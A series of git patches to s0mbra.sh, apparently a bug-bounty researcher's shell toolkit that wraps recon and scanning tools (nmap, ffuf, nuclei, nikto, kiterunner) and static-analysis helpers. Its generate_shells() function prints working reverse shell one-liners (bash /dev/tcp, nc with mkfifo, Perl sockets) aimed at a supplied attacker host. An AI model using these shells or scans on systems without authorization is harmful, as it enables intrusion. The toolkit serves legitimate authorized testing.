[PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" From dc3ce484c0ffb7cbc13d3dee5442be06c2093a4b Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 13:03:33 +0000 Subject: [PATCH 053/289] [s0mbra] Remove verbose flag from nuclei output --- s0mbra.sh | 2 +- 1 file changed, 1 insertion(+), 1 deletion(-) diff --git a/s0mbra.sh b/s0mbra.sh index f921e13..3a9eaa8 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -248,7 +248,7 @@ recon() { do ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; - nuclei -v -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log ITERATOR=$(( $ITERATOR+1 )) done From 178c3210e4babcb71fe27bd1a5ee2a198aa8ec67 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 17:58:41 +0000 Subject: [PATCH 054/289] [s0mbra] fix issues with wrong output files --- s0mbra.sh | 22 +++++++++++----------- 1 file changed, 11 insertions(+), 11 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 3a9eaa8..7167585 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,22 +234,22 @@ recon() { echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp - # nmap - echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + # # nmap + # echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" + # nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx echo -e "\n$GREEN--> httpx$CLR\n" - httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_httpx.tmp + httpx -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -silent -status-code -web-server -tech-detect -l $TMPDIR/s0mbra_recon_subfinder.tmp -o $TMPDIR/s0mbra_recon_httpx.tmp # ffuf echo -e "\n$GREEN--> ffuf + nuclei on HTTP 200 from httpx$CLR\n" - for url in $(cat $TMPDIR/s0mbra_httpx.tmp | grep "200" | cut -d' ' -f1); - do - ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" - ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de"; - nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/nuclei_output_file_0$ITERATOR.log - ITERATOR=$(( $ITERATOR+1 )) + for url in $(cat $TMPDIR/s0mbra_recon_httpx.tmp | grep "200" | cut -d' ' -f1); + do + NAME=$(echo $url | cut -d'/' -f3) + ffuf -ac -c -w $DICT_HOME/starter.txt -u $url/FUZZ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$NAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u $url/FUZZ/ -mc=200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$NAME.log + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $url -o $TMPDIR/s0mbra_recon_nuclei_$NAME.log; done END_TIME=$(date) @@ -536,7 +536,7 @@ case "$cmd" in echo -e "--------------------------------------------------------------------------------------------------------------" echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" - echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" + echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" From 68273067b95c2d94d4f0cb5b7e27fd0c5f088c28 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Mon, 6 Dec 2021 18:00:02 +0000 Subject: [PATCH 055/289] [s0mbra] fix issues with wrong output files - uncomment commented :D --- s0mbra.sh | 6 +++--- 1 file changed, 3 insertions(+), 3 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 7167585..00c1c3e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -234,9 +234,9 @@ recon() { echo -e "\n$GREEN--> subfinder$CLR\n" subfinder -d $1 -o $TMPDIR/s0mbra_recon_subfinder.tmp - # # nmap - # echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" - # nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml + # nmap + echo -e "\n$GREEN--> nmap (top 1000 ports)$CLR\n" + nmap -iL $TMPDIR/s0mbra_recon_subfinder.tmp --top-ports 100 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_recon_nmap.tmp -oX $TMPDIR/s0mbra_recon_nmap.xml # httpx echo -e "\n$GREEN--> httpx$CLR\n" From 96f74d778fc5be86bafa2d0eeef28931d52558bc Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 7 Dec 2021 16:23:56 +0000 Subject: [PATCH 056/289] [s0mbra] refactoring of fu(); removed fufu() --- s0mbra.sh | 25 +++++++++---------------- 1 file changed, 9 insertions(+), 16 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 00c1c3e..2c0338f 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -381,29 +381,26 @@ abe() { fu() { clear - echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary; matching HTTP 200,301,302,403,422,500...$CLR" + # adjust here to add/remove HTTP response status code(s) to match on: + HTTP_RESP_CODES=200,206,301,302,403,500 + + echo -e "$BLUE[+] Enumerate web resources on $1 with $2.txt dictionary matching $HTTP_RESP_CODES ...$CLR" + if [[ -n $3 ]]; then if [[ $3 == "/" ]]; then # if $3 arg passed to fu equals / - add at the end of the path (for dir enumerations where sometimes # dir path has to end with / to be identified - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ/ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" else # if $3 arg is not /, treat it as file extension to enumerate files: - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ.$3 -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi else - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc 200,301,302,403,422,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" + ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/$2.txt -u $1FUZZ -mc $HTTP_RESP_CODES -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" fi echo -e "$BLUE\n[+] Done! $CLR" } -fufu() { - clear - echo -e "$BLUE[+] Enumerate web resources on $1 with starter.txt dictionary; matching HTTP $2...$CLR" - ffuf -ac -c -w /Users/bl4de/hacking/dictionaries/starter.txt -u $1FUZZ -mc $2 -H "X-Hackerone: bl4de" - echo -e "$BLUE\n[+] Done! $CLR" -} - generate_shells() { clear port=$2 @@ -521,9 +518,6 @@ case "$cmd" in fu) fu "$2" "$3" "$4" ;; - fufu) - fufu "$2" "$3" - ;; s3go) s3go "$2" "$3" ;; @@ -567,8 +561,7 @@ case "$cmd" in echo -e "\t$CYAN apk $GRAY[.apk FILE]$CLR\t\t\t\t -> extracts APK file and run apktool on it" echo -e "\t$CYAN abe $GRAY[.ab FILE]$CLR\t\t\t\t\t -> extracts Android .ab backup file into .tar (with android-backup-extractor)" echo -e "$BLUE:: WEB ::$CLR" - echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" - echo -e "\t$CYAN fufu $GRAY[URL] [HTTP RESPONSE CODE(S)]$CLR\t\t -> web application enumeration with starter.txt" + echo -e "\t$CYAN fu $GRAY[URL] [DICT] [*EXT/*ENDSLASH.]$CLR\t\t -> web application enumeration (DICT: starter, lowercase, wordlist)" echo -e "\n--------------------------------------------------------------------------------------------------------------" echo -e "$GREEN Hack The Planet!\n$CLR" From a455e88033176b34ee5bf7040e1cb0cc04bb8f79 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 8 Dec 2021 12:51:22 +0000 Subject: [PATCH 057/289] [s0mbra] ransack() - do recon on single domain --- s0mbra.sh | 38 ++++++++++++++++++++++++++++++++++++-- 1 file changed, 36 insertions(+), 2 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index 2c0338f..ad6c98e 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -226,7 +226,6 @@ htpx() { # automated recon: subfinder + nmap + httpx + ffuf | on domain recon() { TMPDIR=$(pwd) - ITERATOR=1 START_TIME=$(date) echo -e "$BLUE[+] Running quick, dirty recon on $1 domain: subfinder + httpx + ffuf on 200 OK...$CLR\n" @@ -259,7 +258,38 @@ recon() { echo -e " subfinder output file -> $GRAY $TMPDIR/s0mbra_subfinder.tmp$GREEN" echo -e " httpx output file -> $GRAY $TMPDIR/s0mbra_httpx.tmp$GREEN" echo -e " nmap output file -> $GRAY $TMPDIR/s0mbra_recon_nmap.tmp" - echo -e "\n$BLUE[+] Done." + echo -e "\n$BLUE[+] Done.$CLR" +} + +# does recon on URL: nmap, ffuf, nuclei, other smaller tools, ...? +# pass ONLY hostname (without protocol prefix) +ransack() { + HOSTNAME=$1 + TMPDIR=$(pwd) + START_TIME=$(date) + echo -e "$BLUE[+] Running bruteforce, dirty recon on $HOSTNAME : nmap + ffuf + nuclei...$CLR\n" + + # onaws + echo -e "\n$GREEN--> onaws? $CLR\n" + onaws $HOSTNAME + + # nmap + echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" + nmap --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + + # ffuf + ffuf -ac -c -w $DICT_HOME/starter.txt -u https://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log + ffuf -ac -c -w $DICT_HOME/lowercase.txt -u https://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log + + # nuclei + nuclei -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -u $HOSTNAME -o $TMPDIR/s0mbra_nuclei_$HOSTNAME.log; + + END_TIME=$(date) + echo -e "\n$GREEN[+] Finished!" + echo -e "\nstarted at: $RED $START_TIME $GREEN" + echo -e "finished at: $RED $END_TIME $GREEN\n" + + echo -e "\n$BLUE[+] Done.$CLR" } # checking AWS S3 bucket @@ -455,6 +485,9 @@ case "$cmd" in recon) recon "$2" ;; + ransack) + ransack "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -531,6 +564,7 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" + echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + ffuf + nuclei" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" From b71f476edc5194a4a4538c6959c332b84a50037d Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Tue, 14 Dec 2021 08:56:17 +0000 Subject: [PATCH 058/289] [s0mbra] added nikto to ransack() --- s0mbra.sh | 4 ++++ 1 file changed, 4 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index ad6c98e..f264482 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -277,6 +277,10 @@ ransack() { echo -e "\n$GREEN--> nmap (top 1000 ports + versioon discovery + nse scripts)$CLR\n" nmap --top-ports 1000 -n --disable-arp-ping -sV -A -oN $TMPDIR/s0mbra_nmap_$HOSTNAME.tmp $HOSTNAME + # nikto + echo -e "\n$GREEN--> nikto (max. 10 minutes) $CLR\n" + nikto -host https://$HOSTNAME -404code 404,301,302,304 -maxtime 10m -o $TMPDIR/s0mbra_nikto_$HOSTNAME.log -Format txt -useragent "bl4de/HackerOne" + # ffuf ffuf -ac -c -w $DICT_HOME/starter.txt -u https://$HOSTNAME/FUZZ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_starter_$HOSTNAME.log ffuf -ac -c -w $DICT_HOME/lowercase.txt -u https://$HOSTNAME/FUZZ/ -mc=200,206,301,302,403,422,429,500 -H "User-Agent: wearehackerone" -H "X-Hackerone: bl4de" -o $TMPDIR/s0mbra_recon_ffuf_lowercase_$HOSTNAME.log From 200189c5688ba7635f54fd6723a8cad8e9fe6077 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 15 Dec 2021 02:57:59 +0000 Subject: [PATCH 059/289] [s0mbra] new commands - kiterunner, pysast --- s0mbra.sh | 46 ++++++++++++++++++++++++++++++++++++++++------ 1 file changed, 40 insertions(+), 6 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index f264482..fd17ef4 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -8,7 +8,7 @@ HACKING_HOME="/Users/bl4de/hacking" GRAY='\033[1;30m' -RED='\033[1;31m' +RED=' $CLR' GREEN='\033[1;32m' LIGHTGREEN='\033[32m' YELLOW='\033[1;33m' @@ -296,6 +296,32 @@ ransack() { echo -e "\n$BLUE[+] Done.$CLR" } +kiterunner() { + HOSTNAME=$1 + echo -e "$BLUE[+] Running kiterunner using apis file...$CLR\n" + + kr scan apis -w $DICT_HOME/routes-large.kite -x 20 -j 100 --fail-status-codes 400,401,404,403,501,502,426,411 + echo -e "\n$BLUE[+] Done.$CLR" +} + +# Python Static Source Code analysis +pysast() { + FILE_NAME=$1 + echo -e "$BLUE[+] Running pyflakes against $FILE_NAME $CLR\n" + python3 -m pyflakes $FILE_NAME + + echo -e "$BLUE[+] Running mypy against $FILE_NAME $CLR\n" + python3 -m mypy $FILE_NAME + + echo -e "\n$BLUE[+] Running bandit against $FILE_NAME $CLR\n" + python3 -m bandit -r $FILE_NAME + + echo -e "\n$BLUE[+] Running vulture against $FILE_NAME $CLR\n" + python3 -m vulture $FILE_NAME + + echo -e "\n$BLUE[+] Done.$CLR" +} + # checking AWS S3 bucket s3() { echo -e "$BLUE[+] Checking AWS S3 $1 bucket$CLR" @@ -441,10 +467,10 @@ generate_shells() { echo -e "$BLUE[+] OK, here are your shellz...\n$CLR" - echo -e "\033[1;31m[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" - echo -e "\033[1;31m[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" - echo -e "\033[1;31m[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" - echo -e "\033[1;31m[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" + echo -e " $CLR[bash]\033[0m bash -i >& /dev/tcp/$1/$port 0>&1" + echo -e " $CLR[bash]\033[0m 0<&196;exec 196<>/dev/tcp/$1/$port; sh <&196 >&196 2>&196" + echo -e " $CLR[bash]\033[0m rm -f /tmp/f;mkfifo /tmp/f;cat /tmp/f|/bin/bash -i 2>&1|nc $1 $port >/tmp/f" + echo -e " $CLR[bash]\033[0m rm -f backpipe; mknod /tmp/backpipe p && nc $ip $port 0backpipe" echo -e "$NEWLINE" echo -e "\033[1;34m[perl]\033[0m perl -e 'use Socket;\$i=\"$1\";\$p=1234;socket(S,PF_INET,SOCK_STREAM,getprotobyname(\"tcp\"));if(connect(S,sockaddr_in(\$p,inet_aton(\$i)))){open(STDIN,\">&S\");open(STDOUT,\">&S\");open(STDERR,\">&S\");exec(\"/bin/sh -i\");};'" echo -e "\033[1;34m[perl]\033[0m perl -MIO -e '\$p=fork;exit,if(\$p);\$c=new IO::Socket::INET(PeerAddr,\"$1:$port\");STDIN->fdopen(\$c,r);$~->fdopen(\$c,w);system\$_ while<>;'" @@ -492,6 +518,12 @@ case "$cmd" in ransack) ransack "$2" ;; + kiterunner) + kiterunner "$2" + ;; + pysast) + pysast "$2" + ;; full_nmap_scan) full_nmap_scan "$2" "$3" ;; @@ -568,7 +600,8 @@ case "$cmd" in echo -e "Usage:\t$YELLOW s0mbra.sh {cmd} {arg1} {arg2}...{argN}\n" echo -e "$BLUE:: RECON ::$CLR" echo -e "\t$CYAN recon $GRAY[DOMAIN]$CLR\t\t\t\t\t -> basic recon: subfinder + nmap + httpx + ffuf + nuclei (one tool at the time on all hosts)" - echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + ffuf + nuclei" + echo -e "\t$CYAN ransack $GRAY[HOST]$CLR\t\t\t\t\t -> bruteforce recon on host: nmap (top 1000 ports) + nikto + ffuf + nuclei" + echo -e "\t$CYAN kiterunner $GRAY[HOST] (*apis)$CLR\t\t\t -> runs kiterunner against apis file on [HOST] (create apis file first ;) )" echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" @@ -593,6 +626,7 @@ case "$cmd" in echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" + echo -e "\t$CYAN pysast $GRAY[.py FILE]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" echo -e "$BLUE:: ANDROID ::$CLR" echo -e "\t$CYAN jadx $GRAY[.apk FILE]\t\t$YELLOW(Java)$CLR\t\t -> open FILE.apk file in JADX GUI" echo -e "\t$CYAN dex_to_jar $GRAY[.dex file]$CLR\t\t\t\t -> exports .dex file into .jar" From 9315746eaa94352f7a4f086d9484cb2d375e98f0 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Wed, 15 Dec 2021 10:08:18 +0000 Subject: [PATCH 060/289] [s0mbra] some changes in pysast() --- s0mbra.sh | 18 +++++++++--------- 1 file changed, 9 insertions(+), 9 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index fd17ef4..3d7a20b 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -306,18 +306,18 @@ kiterunner() { # Python Static Source Code analysis pysast() { - FILE_NAME=$1 - echo -e "$BLUE[+] Running pyflakes against $FILE_NAME $CLR\n" - python3 -m pyflakes $FILE_NAME + DIR_NAME=$1 + echo -e "$BLUE[+] Running pyflakes against $DIR_NAME $CLR\n" + python3 -m pyflakes $DIR_NAME - echo -e "$BLUE[+] Running mypy against $FILE_NAME $CLR\n" - python3 -m mypy $FILE_NAME + echo -e "$BLUE[+] Running mypy against $DIR_NAME $CLR\n" + python3 -m mypy $DIR_NAME - echo -e "\n$BLUE[+] Running bandit against $FILE_NAME $CLR\n" - python3 -m bandit -r $FILE_NAME + echo -e "\n$BLUE[+] Running bandit against $DIR_NAME $CLR\n" + python3 -m bandit -r $DIR_NAME - echo -e "\n$BLUE[+] Running vulture against $FILE_NAME $CLR\n" - python3 -m vulture $FILE_NAME + echo -e "\n$BLUE[+] Running vulture against $DIR_NAME $CLR\n" + python3 -m vulture $DIR_NAME echo -e "\n$BLUE[+] Done.$CLR" } From 517fd78bf3577aed33100a9e0bb90b1c3ea8d946 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Fri, 17 Dec 2021 14:51:23 +0000 Subject: [PATCH 061/289] [s0mbra] added snyktest command (snyk integration) --- s0mbra.sh | 13 +++++++++++++ 1 file changed, 13 insertions(+) diff --git a/s0mbra.sh b/s0mbra.sh index 3d7a20b..dd55909 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -135,6 +135,15 @@ npm_scan() { echo -e "\n\n[+]Done." } + +# static code analysis of npm module installed in ~/node_modules +# with nodestructor and semgrep +snyktest() { + echo -e "$BLUE[+] Starting snyk test in current directory...$CLR" + snyk test + echo -e "\n\n[+]Done." +} + # static code analysis of single JavaScript code javascript_sca() { echo -e "$BLUE[+] Starting static code analysis of $1 file with nodestructor and semgrep...$CLR" @@ -548,6 +557,9 @@ case "$cmd" in npm_scan) npm_scan "$2" ;; + snyktest) + snyktest + ;; javascript_sca) javascript_sca "$2" ;; @@ -624,6 +636,7 @@ case "$cmd" in echo -e "\t$CYAN rockyou_zip $GRAY[ZIP file]$CLR\t\t\t\t -> crack ZIP password" echo -e "$BLUE:: STATIC CODE ANALYSIS ::$CLR" echo -e "\t$CYAN npm_scan $GRAY[MODULE_NAME]\t\t$YELLOW(JavaScript)$CLR\t -> static code analysis of MODULE_NAME npm module with nodestructor" + echo -e "\t$CYAN snyktest $GRAY[DIR]\t\t\t$YELLOW(JavaScript)$CLR\t -> runs snyk test on DIR (this should be root of Node app, where package.json exists)" echo -e "\t$CYAN javascript_sca $GRAY[FILE_NAME]\t$YELLOW(JavaScript)$CLR\t -> static code analysis of single JavaScript file with nodestructor" echo -e "\t$CYAN decompile_jar $GRAY[.jar FILE]\t$YELLOW(Java)$CLR\t\t -> open FILE.jar file in JD-Gui" echo -e "\t$CYAN pysast $GRAY[.py FILE]\t\t$YELLOW(Python)$CLR\t -> Static Code Analysis of Python file with pyflakes, mypy, bandit and vulture" From 13020f834958dade8fb81e2077a9e7fc9b0f74f3 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 19 Dec 2021 00:36:36 +0000 Subject: [PATCH 062/289] [s0mbra] removed nmap_vuln_scan option --- s0mbra.sh | 24 ------------------------ 1 file changed, 24 deletions(-) diff --git a/s0mbra.sh b/s0mbra.sh index dd55909..5d34d46 100755 --- a/s0mbra.sh +++ b/s0mbra.sh @@ -43,26 +43,6 @@ full_nmap_scan() { echo -e "$BLUE\n[+] Done! $CLR" } -# --script=vulscan/vulscan.nse -# requires: https://github.com/scipag/vulscan -nmap_vuln_scan() { - if [[ -z "$2" ]]; then - echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against all ports on $1" - echo -e " Will probably take a while, so go grab some coffee or something.... $CYAN" - ports=$(nmap -p- $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" - nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml - else - echo -e "$BLUE[+] Running full nmap scan with vulnerability scanning against $2 port(s) on $1 ..." - echo -e " Will probably take a while, so go grab some coffee or something...." - echo -e " ...search open ports... $CYAN" - ports=$(nmap --top-ports "$2" $1 | grep open | cut -d'/' -f 1 | tr '\n' ',') - echo -e "$BLUE[+] running version detection + nse scripts against $ports...$CYAN" - nmap -p"$ports" -sV -sC -A -n --script=vulscan/vulscan.nse "$1" -oN ./"$1".log -oX ./"$1".xml - fi - - echo -e "$BLUE\n[+] Done! $CLR" -} # runs --top-ports $2 against IP quick_nmap_scan() { @@ -539,9 +519,6 @@ case "$cmd" in quick_nmap_scan) quick_nmap_scan "$2" "$3" ;; - nmap_vuln_scan) - nmap_vuln_scan "$2" "$3" - ;; http) http "$2" ;; @@ -617,7 +594,6 @@ case "$cmd" in echo -e "\t$CYAN htpx $GRAY[DOMAINS_LIST] [OUTPUT_FILE] $CLR\t\t -> httpx against DOMAINS_LIST, matching 200, 403 and 500 + stack, web server discovery" echo -e "\t$CYAN quick_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to quickly enumerate open N-ports" echo -e "\t$CYAN full_nmap_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A on found open ports" - echo -e "\t$CYAN nmap_vuln_scan $GRAY[IP] [*PORTS]$CLR\t\t\t -> nmap --top-ports [PORTS] to enumerate ports; -p- if no [PORTS] given; then -sV -sC -A --script=vulscan/vulscan.nse on found open ports" echo -e "\t$CYAN nfs_enum $GRAY[IP]$CLR\t\t\t\t\t -> enumerates nfs shares on [IP] (2049 port has to be open/listed in rpcinfo)" echo -e "$BLUE:: AMAZON AWS S3 ::$CLR" echo -e "\t$CYAN s3 $GRAY[bucket]$CLR\t\t\t\t\t -> checks privileges on AWS S3 bucket (ls, cp, mv etc.)" From 21f6539d376ea3e4c36c511ef0e8a835f4b92187 Mon Sep 17 00:00:00 2001 From: Rafal Janicki Date: Sun, 19 Dec 2021 11:05:07 +0000 Subject: [PATCH 063/289] [fixgz] an utility to fix corrupted .gz files --- fixgz | Bin 0 -> 49648 bytes fixgz.cpp | 52 ++++++++++++++++++++++++++++++++++++++++++++++++++++ 2 files changed, 52 insertions(+) create mode 100755 fixgz create mode 100644 fixgz.cpp diff --git a/fixgz b/fixgz new file mode 100755 index 0000000000000000000000000000000000000000..71f6d9cfc73c4437564f056e301828f25293b038 GIT binary patch literal 49648 zcmeI*L1-LR7zgmTX_9VZ+9V*QV%4!4Z55MLS_qZYP0iwjhBn$%iVBb2>?B#)Y?j?w zng2M;+|*+7KoL4u0w|9fv{vpY@Ch4O#!=DqLD zH{ZPZ&8D}ZKmPsufBTh+?Nds%pm(ERX;W%hIhZN+5W0)5_4x41$=8#wUX<157Hbao zjHJ#w61AR4UYTf4G1n)W*HjQ=D=O@gp|$VL`!cgFTJPo%9tNk9!KNf`4U=VTRf~pdD|gmHL5JgC*AFBG#hy9(>W(I~U|jEbjGo$NnZu zeleS$4icjEUJL4lq!Kr_rrJ26bvb`Eo6qQMernFd&F|x@pq{*QX%a_k*faJh@AVUO 